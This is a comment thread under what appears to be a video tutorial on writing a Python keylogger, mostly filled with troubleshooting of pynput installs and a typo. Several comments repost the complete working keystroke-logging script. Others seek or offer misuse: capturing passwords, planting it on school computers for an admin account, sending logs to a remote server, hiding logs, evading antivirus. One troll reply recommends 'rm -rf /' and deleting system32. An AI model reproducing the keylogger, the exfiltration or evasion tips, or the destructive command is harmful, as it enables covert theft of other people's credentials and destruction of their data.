Hey Joshua!, great tutorial *********IF YOU CAN'T RUN THE SCRIPT READ THIS******** There is a problem in line 8, with the variable 'messages' at min 5:50 is actually 'message' that's why nobody can run your script. Even though you have debug it you forgot to put that in the video and us (viewers) couldn't see the variable ************************************************************** Anyways, great tutorial, keep up with the videos Cheers from Argentina
////////////////////////////////////////////////////////////////////////////////////////////////// import logging from pynput.keyboard import Key, Listener #Log file log_dir = "" logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:') def on_press(key): logging.info(str(key)) #if key = Key.esc: #return false with Listener(on_press=on_press) as listener: listener.join() ////////////////////////////////////////////////////////////////////////////////////////////////// if this doesnt work because visual studio cant import the pynput directory, try copy-paste the 'pynput' directory in the same place where your logger.pyw is located
this means you did not add the environment path to your system files. if you follow this video it will show you how to correctly set it up: th-cam.com/video/dNFgRUD2w68/w-d-xo.html
For everyone who is not able to import the pynput: go to your keylog folder and figure out the actual path of the pynput directory. Mine was "keylog\pynput-master\lib" then change your Directory with the cd command to this exact path before you type "python" and "import pynput". This should fix your problem if you got something like: /* Traceback (most recent call last): File "", line 1, in ModuleNotFoundError: No module named 'pynput' */
@BPGStudios i hope i can help you in time. The command you are looking for is "cd" - short for "change directory". Heres an example that should work for you (dont copy the quotation marks): "cd pynput-master\lib". You have to do this in the console as shown in the video. If this doesnt work you need to check your folder structure with "dir". there you can see what files/directories are available to you. Use cd + the name of the directory or "cd.." to get back. After thta you can open python with "python" and then type "import python".
@@Xy-gx8ou Do you know why I'd get this error? Traceback (most recent call last): File ".\logger.pyw", line 2, in from pynput.keyboard import Key, Listener File "F:\Keylog\pynput-master\lib\pynput\__init__.py", line 40, in from . import keyboard File "F:\Keylog\pynput-master\lib\pynput\keyboard\__init__.py", line 44, in from ._win32 import KeyCode, Key, Controller, Listener File "F:\Keylog\pynput-master\lib\pynput\keyboard\_win32.py", line 30, in import six ModuleNotFoundError: No module named 'six'
why does no one use the pip install command? I think it's installed when you download python for windows Windows key + R > type "cmd" then type run the command "pip install pynput" or pip3 install pynput" if that doesn't work you haven't installed pip while installing python. it saves downloading and unzipping the file and takes about 5 seconds to install packages
its really easy, but the problem is that u cant run it on other computers than your own, i mean u can run it but the keylog will be created for themselves
A simple way to get pynput ...> cd keylog/pynput-master.... with the directory set to pynput-master --> "pip install pynput" Fixes the problem and then the "import pynput" does not produce an error. Just like Josh. Hope it helps!
on line 2 it says this what do i do { "resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw", "owner": "python", "code": "syntax-error", "severity": 8, "message": "unexpected indent (, line 2)", "source": "pylint", "startLineNumber": 2, "startColumn": 4, "endLineNumber": 2, "endColumn": 4 }
so technicly i could get myself an old ass computer buy as many 10$ keyboards as i can monger and look up as many keyloggers as i can find on the dark web and practise boxing on the keyboards all night for years to see if it ticks of the hacker?
Hello I have a problem: The code works but only logs when I type stuff in visual studio. When I try to run logger.pyw I get the loading icon but nothing happens. Nothing gets logged. Nothing shows up in taskmanager either.
Hey at 2:17 I run everything correctly but VSC (virtual Studio Code) gives me an erroy. It firsts gives me a warning saying the wheel package is not available. The Error says subprocess-exited-with-error What do I do. I have PIP btw
for anyone who's having trouble doing this from pynput.keyboard import Key, Listener import logging log_dir = "" logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(key) with Listener(on_press=on_press) as listener: listener.join() he didnt mention some of his changes.
sadly this didnt work i keep on getting a syntax error here: File ".\logger.pyw", line 6 logging.basicConfig(filename=log_dir) + "key_log.txt"), level=logging.DEBUG, format="%(asctime)s: %(messages)s:") ^
idk what I did to make it work but make sure you get all the indents correct and the line order EXACTLY right. I know its stupid but it has to be like that. however right now it inputs a u' after eversingle one of my regular keys
After 2:06 it gives me an error with the message "python : The term 'python' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:1 + python .\setup.py + ~~~~~~ + CategoryInfo : ObjectNotFound: (python:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException" Does this mean I installed python incorrectly? All help will be appreciated.
when he types in (Messages)s make it (Message)s also if it still does not work double check your spelling and all other characters and ctrl+S to save it then run it again
I changes messages to message and still have an empty txt file from pynput.keyboard import Key, Listener import logging log_dir = "" logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s:%(message)s:') def on_press(self,key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
hello, when I type : ( python .\logger.pyw ) to start the program I get: PS C:\Users\User\Desktop\keylog> basically nothing happens PS C:\Users\User\Desktop\keylog> python .\logger.pyw PS C:\Users\User\Desktop\keylog> And the text document does not receive the keys. Why is that? I noticed also that the powershell doesn't shift to python. All the rest is fine. Please help. Thank you.
it also says this what do i do{ "resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw", "owner": "python", "code": "syntax-error", "severity": 8, "message": "unexpected indent (, line 7)", "source": "pylint", "startLineNumber": 7, "startColumn": 2, "endLineNumber": 7, "endColumn": 2 }
Suppose now that you log out and log back in typing your username and password over again. Will it catch that? And what if you shut down your computer and re-boot? Will it catch the username and password then?
Is there a way can edit this key-logger to make it write in a single line? Make it record key strokes in paragraphs. another question , is 'key' the variable that keeps the number of strokes on the text file? or log_dir?
I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?
how do if fix the import pynput, it just comes up with the error >>> import pynput Traceback (most recent call last): File "", line 1, in ModuleNotFoundError: No module named 'pynput'
I just want this to use it on my school computers. Haha imagine everything I could do if I got an admin’s account. Worth a try. I’ll be back by January to tell you guys how it went if anybody is interested.
Typically how Josh showed us, going to Task Manager and ending any suspicious apps running. Some "viruses" bloat other programs and that's basically a re-imaging of a computer. Unless it's a hardware one then you literally have to destroy it.
Joshua Fluke, Hi a query because my Keylog folder does not appear? from my windows 10 and download python and install everything as you showed in this tutorial. Also when I'm going to extract from pynput-master.zip does not I extract the Keylog folder? That's why I consult you.
File ".\logger.pyw", line 8, in logging.basicConfig(filename=(log_dir + "key_log.txt"), level=loggin.DEBUG, format='%(asctime)s: %(message)s:') NameError: name 'logging' is not defined
hello is it possible to insert a keylogger in a tool made with python ?? I tried but I have this problem, inserting the keylogger in the code of the tool when I start it I start the keylogger but the program does not proceed, could you help me?
you have to .replace the string apices ' with a quotation mark with no space something like this: log.replace("'","") and then if you want you have to watch for the spacebar key pressed and replace it with a space " " hope it helps
Do you need Winrar to extract it or can you just extract it into the log folder? And I couldn't install setup.py. Then having the error saying no commands supplied.
@@JoshuaFluke1 thank you so much for this command it worked like a charm but can you explain me a little bit about this anomaly within pip and python installer. Thank you once again you are doing a great job.
I did all you said, and got to the run it part. And now when ever I click a key my PC goes "Brrrring!" the error sound thing. How do I fix this? I closed ALL python stuff and stopped the logger but it still does it.
Hi Joshua, Good tutorial. One question, possibly dumb question, but at the 1:21 mark you right-clicked & opened or set the keylog folder that you had extracted from the pynput Zip file on your desktop, with the "Run with Code", so that you would link it to VS, How was that done?
Hey! When you download VS, you will get an option like "add to PATH" or something along those lines. That's how you get the "Open with VS option". Glad this helped!
@@thealchemist2772 Hey, Thank you !! I appreciate it! THat was the only thing I hadn't figured out when otherwise fully going through it as a tutorial for coding the keylogger.
@@thealchemist2772 DId you figure the problem out yet? Had you done the "cd" to the folder having the pynput files? If you had, then something else is going on, whether or not you have the rights to initiate the setup.py code.
@@kevinwestrom4775 hey! Thanks for asking! Yes I did figure it out. I was just getting a different message for some reason but it was setting up so all good.
Hey Joshua!, great tutorial
*********IF YOU CAN'T RUN THE SCRIPT READ THIS********
There is a problem in line 8, with the variable 'messages' at min 5:50 is actually 'message' that's why nobody can run your script.
Even though you have debug it you forgot to put that in the video and us (viewers) couldn't see the variable
**************************************************************
Anyways, great tutorial, keep up with the videos
Cheers from Argentina
This was my problem as well. Thanks.
Thank you so much
If you still have the code could you copy and paste it in a reply, I have copied this exactly and it doesn’t seem to work
still not working
//////////////////////////////////////////////////////////////////////////////////////////////////
import logging
from pynput.keyboard import Key, Listener
#Log file
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:')
def on_press(key):
logging.info(str(key))
#if key = Key.esc:
#return false
with Listener(on_press=on_press) as listener:
listener.join()
//////////////////////////////////////////////////////////////////////////////////////////////////
if this doesnt work because visual studio cant import the pynput directory, try copy-paste the 'pynput' directory in the same place where your logger.pyw is located
Huh. From now on, when I'm browsing the dark web, I'm going to be paranoid and check my task manager every 5 minutes!
LoL man 😂😂
You are crazy for being on the darknet with Windows dude🤣😅😆 I wouldn't worry about your task manager just sayin.....
@@asdfghjklasdfghjkl2548 he,s saying he's gonna check the task manager to make sure the dark web didn't give him a rat
hahah youre surfing darkweb with windows LOL thats too good
@Sam Peterson Got any good Market links ?
THE BACKGROUND SONG ... for anyone wondering like me, it's Second Side by Yomoti. ;) You're welcome.
For those who couldn't get it to write to the file, when he types in "(Messages)s" make it "(Message)s", that fixed mine
u are the real MVP
thx
for some reason at 1:50 i needed to type "py setup .\setup.py" instead of "python setup .\setup.py" for it to work
me too
this means you did not add the environment path to your system files. if you follow this video it will show you how to correctly set it up: th-cam.com/video/dNFgRUD2w68/w-d-xo.html
@@glassbland8763 i didit work ik this is old but still
For everyone who is not able to import the pynput: go to your keylog folder and figure out the actual path of the pynput directory. Mine was "keylog\pynput-master\lib"
then change your Directory with the cd command to this exact path before you type "python" and "import pynput". This should fix your problem if you got something like:
/*
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput'
*/
but, do we have to create and empty folder called keylog or what?
Der H mine is in the lib folder as well but I still get this error when I try to import it. Any tips?
you saved my life!!!one1!
@BPGStudios i hope i can help you in time. The command you are looking for is "cd" - short for "change directory". Heres an example that should work for you (dont copy the quotation marks): "cd pynput-master\lib". You have to do this in the console as shown in the video. If this doesnt work you need to check your folder structure with "dir". there you can see what files/directories are available to you. Use cd + the name of the directory or "cd.." to get back. After thta you can open python with "python" and then type "import python".
@@Xy-gx8ou Do you know why I'd get this error?
Traceback (most recent call last):
File ".\logger.pyw", line 2, in
from pynput.keyboard import Key, Listener
File "F:\Keylog\pynput-master\lib\pynput\__init__.py", line 40, in
from . import keyboard
File "F:\Keylog\pynput-master\lib\pynput\keyboard\__init__.py", line 44, in
from ._win32 import KeyCode, Key, Controller, Listener
File "F:\Keylog\pynput-master\lib\pynput\keyboard\_win32.py", line 30, in
import six
ModuleNotFoundError: No module named 'six'
why does no one use the pip install command? I think it's installed when you download python for windows
Windows key + R > type "cmd" then type run the command "pip install pynput" or pip3 install pynput"
if that doesn't work you haven't installed pip while installing python. it saves downloading and unzipping the file and takes about 5 seconds to install packages
Pip sometimes doesn’t exist as an environment variable. You can sometimes run it from the scripts directory
@@jellohunter7981 Isn't that what he literally just explained in his comment loo
@@john_mcafees_poop_pipe2906 no he said the issue is that you haven’t installed it, that may not be always the case
@@john_mcafees_poop_pipe2906 it can sometimes be the environment variable
its really easy, but the problem is that u cant run it on other computers than your own, i mean u can run it but the keylog will be created for themselves
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput'
@Sebastián Ywaskewycz newbie here. How do you change the directory
@@malcolmlai6915 just type cd .(whatever your directory is, without braces)
A simple way to get pynput ...>
cd keylog/pynput-master....
with the directory set to pynput-master --> "pip install pynput"
Fixes the problem and then the "import pynput" does not produce an error. Just like Josh.
Hope it helps!
Thank you so much
meanwhile on the 9th line: when is this damn line ever gonna end?
I did everything no error codes, but when I open note pad and type something, it won't shot in the key_log txt file how do I fix this??
FBI, I’m here for non malicious purposes
FBI, I am here just to mess with my friend.
FBI idk why tf i am here but i am going to use this to track what i type because idk what i be searching up sometimes.
on line 2 it says this what do i do {
"resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
"owner": "python",
"code": "syntax-error",
"severity": 8,
"message": "unexpected indent (, line 2)",
"source": "pylint",
"startLineNumber": 2,
"startColumn": 4,
"endLineNumber": 2,
"endColumn": 4
}
why my folder cant open as code?
uninstall it then reinstall it and check all the boxes during reinstallation process and make sure you click "open with code" option
Were is the link? I think I'm dumb
People like you is why grandmas are paranoid😂
when i try to do python setup is says warning the wheel package is not available
Nice video, but a doubt, how do I send the information collected by the keylogger to a simple txt file?
idk either
This was dope thanks sir ✊🏾
Did it work ?i
SO what if I DID get an error when you said "If you didn't get an error....." and proceeded to continue without saying what to do if we get one
How would you be able to remotely access The txt file from somewhere else would you have to somehow in next it and get it to send it to you ??
Use ftblib and send the file to your server
@@thefuton thanks man
so technicly i could get myself an old ass computer buy as many 10$ keyboards as i can monger and look up as many keyloggers as i can find on the dark web and practise boxing on the keyboards all night for years to see if it ticks of the hacker?
Hello I have a problem:
The code works but only logs when I type stuff in visual studio.
When I try to run logger.pyw I get the loading icon but nothing happens.
Nothing gets logged.
Nothing shows up in taskmanager either.
got the same issue
@@ambrxq_here any idea on how to fix this issue?
@@vxyr7697 no
epic hacker intro
Mine just gives me a blank text file?
Same here
These tutorial are fake. I almost tried thousands of them. But got the same result as yours.not everyone can hack
@@wp-wisdom your not doing something right.
@@xhir0 i got an empty file too... so i'm not sure what i did wrong, any idea?
Hey at 2:17 I run everything correctly but VSC (virtual Studio Code) gives me an erroy. It firsts gives me a warning saying the wheel package is not available. The Error says subprocess-exited-with-error
What do I do. I have PIP btw
for anyone who's having trouble doing this
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(key)
with Listener(on_press=on_press) as listener:
listener.join()
he didnt mention some of his changes.
Yours worked for me. Much appreciated!
sadly this didnt work i keep on getting a syntax error here:
File ".\logger.pyw", line 6
logging.basicConfig(filename=log_dir) + "key_log.txt"), level=logging.DEBUG, format="%(asctime)s: %(messages)s:")
^
SyntaxError: invalid syntax
Aiden Atkinson - Aido Playdo it must be %(message)s :’)
How can we spread it ? Like can we make listener on our end or smtg like that
idk what I did to make it work but make sure you get all the indents correct and the line order EXACTLY right. I know its stupid but it has to be like that. however right now it inputs a u' after eversingle one of my regular keys
for me when ever i put python .\setup.py and enter it just tellss me this WARNING: The wheel package is not available.
when I type import pynput it says [Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput']
I'm having the same issue. Anyone have a solution?
Install pynput by typing pip install pynput
After 2:06 it gives me an error with the message
"python : The term 'python' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of
the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ python .\setup.py
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (python:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException"
Does this mean I installed python incorrectly? All help will be appreciated.
I think your antivirus is protecting it.
TypeError: join() missing 1 required positional argument: 'self' does anyone have a fix for this?
when he types in (Messages)s make it (Message)s also if it still does not work double check your spelling and all other characters and ctrl+S to save it then run it again
thanks man
Did anyone get' can't open file '.\logger.pyw': [Errno 2] No such file or directory'
if so how did you fix it?
switch back to the keylogger folder
There are no links in the description
I changes messages to message and still have an empty txt file
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s:%(message)s:')
def on_press(self,key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
i success to everything in this video, but got no one character into the txt file. the file failed to record the strokes. where is my fault?
hello, when I type : ( python .\logger.pyw ) to start the program I get:
PS C:\Users\User\Desktop\keylog> basically nothing happens
PS C:\Users\User\Desktop\keylog> python .\logger.pyw
PS C:\Users\User\Desktop\keylog>
And the text document does not receive the keys. Why is that? I noticed also that the powershell doesn't shift to python. All the rest is fine. Please help. Thank you.
your voice reminds me of Morty from "Rick and Morty"
Dumbass. 😂
SyntaxError: unexpected character after line continuation character
No module named pynput
Lopez pip install pynput
The wheel package is not available
how do i get past this error!
I am getting the same error. It's a really old video maybe the source code is outdated
There is no link to git in the description.
My CD code line says path doesn't exist. Help?
can't open file 'C:\Users\ihate\Desktop\test123\pynput-master\logger.pyw': [Errno 2] No such file or directory
it also says this what do i do{
"resource": "/c:/Users/ashan/Desktop/New folder/logger.pyw",
"owner": "python",
"code": "syntax-error",
"severity": 8,
"message": "unexpected indent (, line 7)",
"source": "pylint",
"startLineNumber": 7,
"startColumn": 2,
"endLineNumber": 7,
"endColumn": 2
}
Suppose now that you log out and log back in typing your username and password over again. Will it catch that? And what if you shut down your computer and re-boot? Will it catch the username and password then?
if we shut down the computer all the processes will close so no
Is there a way can edit this key-logger to make it write in a single line? Make it record key strokes in paragraphs. another question , is 'key' the variable that keeps the number of strokes on the text file? or log_dir?
print it and see
it says WARNING: The wheel package is not available.
justin bieber teaching how to code
it doesn t make the log file any ideas?
Does this work on a mac, because it does not put anything inside of the file.
A revolution without dancing is a revolution not worth having.
I have this problem with invalid syntax in logger.pyw it show a red thing and I tried to rewrite all code but still show the same problem.
error 8:27 pynput.keyboard Errno 2] No such file or directory
My key_log.txt is empty, can you help me understand why?
On line 8 where it says messages change it to message
@@romzamir i did this and it still shows up empty
One of my favorite programing language's
and one of the easiest
I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?
I'm getting an error message, NO MODULE NAMED 'PYNPUT'
switch to python 3.7.7
open command prompt and type: pip install pynput
COOL VIDEO!!! Would work on a iphone ?
Can someone help me everything works but when I want to start the code (not with VS) its not working?
Why is my "key_log.txt" isn't created ?
how do if fix the import pynput, it just comes up with the error
>>> import pynput
Traceback (most recent call last):
File "", line 1, in
ModuleNotFoundError: No module named 'pynput'
In your terminal: pip3 install pynput
WHy do you need to write code to create keylogger, when there is tools available ?
so how would i send it to someone wouldnt they need python installed aswell and it couldnt be hidden in another program or anything
You wouldn't...you'd need access to their desktop
windows defender : ur not that guy trust me …
that cat got me tripping
At 3:00 when I type “import pynput” it says “ModuleNotFoundError: No module named ‘pynput’”
Any suggestions?
Me too
Michael Medvedev I figured it out. After you put “cd pynput-master” do “cd lib” then continue with the video
move the pynput directory to the same place where your logger.pyw is. This worked for me .)
Getting no module named six now
@@randomnessx3597 type 'pip install six' in your console
I like how what has been intended to make life of a programmer easy is exploited.
Does this work when i let other people download it and i can see what their typing
I just want this to use it on my school computers. Haha imagine everything I could do if I got an admin’s account. Worth a try. I’ll be back by January to tell you guys how it went if anybody is interested.
YES. Sounds like quit the story.
john doe quit story?
@@Walter-wm4nc where u live. im asking so i see the schools level
Aleks Level? And no. I don’t want to be reported. I’ll check it myself. Just tell me what you mean by that.
@@Walter-wm4nc i see you paranoid so i won't keep talking to you
When I tried it I have everything downloaded and I followed everything on the video but it said no such file or directory??
Im not gonna use this to harm anyone im just experimenting lol
where do u get the keylogger file?
I think ima put my task manager to a open window at all times
i just cant open the folder with code idk why
that intro had me rolling
Any tips on how to spot a keylogger running in the background and if you do manage to spot one,how do you deal with it? Thanks in advance!
Typically how Josh showed us, going to Task Manager and ending any suspicious apps running. Some "viruses" bloat other programs and that's basically a re-imaging of a computer. Unless it's a hardware one then you literally have to destroy it.
Joshua Fluke,
Hi a query because my Keylog folder does not appear? from my windows 10 and download python and install everything as you showed in this tutorial.
Also when I'm going to extract from pynput-master.zip does not I extract the Keylog folder?
That's why I consult you.
Use python3 and *pip install pynput*
Why exactly do we need the Listener for?
File ".\logger.pyw", line 8, in
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=loggin.DEBUG, format='%(asctime)s: %(message)s:')
NameError: name 'logging' is not defined
Is there a way to get it not to go to a new line when logging keys only until the space bar is pressed?
i copied the same code but my file creates a the file but the does not print out anything.
what can be the reason ?
Tanvir Ahmed I have the same issue
why all youtube tutorials about keylogging don't talk about special characters and keys?
hello is it possible to insert a keylogger in a tool made with python ?? I tried but I have this problem, inserting the keylogger in the code of the tool when I start it I start the keylogger but the program does not proceed, could you help me?
I get an error on the 'from' on the first line that says "unable to import 'pynput.keyboard' pylint(import-error) " any ideas?
If you arent already using pyhon 3.7.7 use that or else it wont work
It won’t allow me to run it in the back ground. When I click on the python file it says I don’t have an app associated with it. What do I do?
i have gotten it to work but when i press a key it dosnt put it into the text file can someone help me
7:09 anyone know how to make it esc and ctrl?
Cool Video! I was wondering how I can make the code output every word in a line instead of one character at a time, do you have any suggestions?
Try and start by deleting system 32
This guy is a troll
run rm -rf / in command line
Try learning formatting languages to better the readability
you have to .replace the string apices ' with a quotation mark with no space something like this: log.replace("'","") and then if you want you have to watch for the spacebar key pressed and replace it with a space " "
hope it helps
it dosent show to me "open with VSC" :(
This is way above my pay grade.
Do you need Winrar to extract it or can you just extract it into the log folder? And I couldn't install setup.py. Then having the error saying no commands supplied.
Ofrelec make sure you're in the pynput folder when you install
Try with: pip install pyinput
inb4: You need python3+
@@JoshuaFluke1 thank you so much for this command it worked like a charm but can you explain me a little bit about this anomaly within pip and python installer. Thank you once again you are doing a great job.
I did all you said, and got to the run it part. And now when ever I click a key my PC goes "Brrrring!" the error sound thing. How do I fix this? I closed ALL python stuff and stopped the logger but it still does it.
When i do python .\setup.py it says wheel package not availible any fix???
invalid syntax () at line 11. think it is the def, it appear in violet instead of blue. how can I fix it ?
Hi Joshua, Good tutorial. One question, possibly dumb question, but at the 1:21 mark you right-clicked & opened or set the keylog folder that you had extracted from the pynput Zip file on your desktop, with the "Run with Code", so that you would link it to VS, How was that done?
Hey! When you download VS, you will get an option like "add to PATH" or something along those lines. That's how you get the "Open with VS option". Glad this helped!
@@thealchemist2772 Hey, Thank you !! I appreciate it! THat was the only thing I hadn't figured out when otherwise fully going through it as a tutorial for coding the keylogger.
@@kevinwestrom4775 I can't do the "python ./setup.py" code in the beginning for some reason
@@thealchemist2772 DId you figure the problem out yet? Had you done the "cd" to the folder having the pynput files? If you had, then something else is going on, whether or not you have the rights to initiate the setup.py code.
@@kevinwestrom4775 hey! Thanks for asking! Yes I did figure it out. I was just getting a different message for some reason but it was setting up so all good.
Any way I can have it that the txt log gets hidden in like the downloads besides where the logger is ?
what do i have to change so that windows doesnt see it as a virus :/?